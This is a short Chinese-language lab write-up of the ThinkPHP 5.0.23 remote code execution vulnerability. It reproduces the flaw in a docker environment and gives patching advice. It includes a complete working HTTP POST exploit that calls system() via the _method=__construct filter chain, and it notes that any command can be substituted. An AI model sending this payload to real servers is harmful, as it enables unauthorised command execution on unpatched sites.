5.24.2 RCE

漏洞名称

ThinkPHP5 5.0.23 远程代码执行漏洞

漏洞描述

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,在获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

漏洞等级

高级

漏洞危害

远程代码执行

漏洞检测方法

利用POC去试验是否存在该漏洞

漏洞利用方法

启动docker环境:

docker-compose up -d

然后刷新页面,构造POC,成功执行命令

发送的数据包为:

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.136.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

也可以执行其他命令,只需替换server[REQUEST_METHOD]的值即可

漏洞修复方案:

1,及时去thinkphp官网修补漏洞

2,更新到最新版

Last updated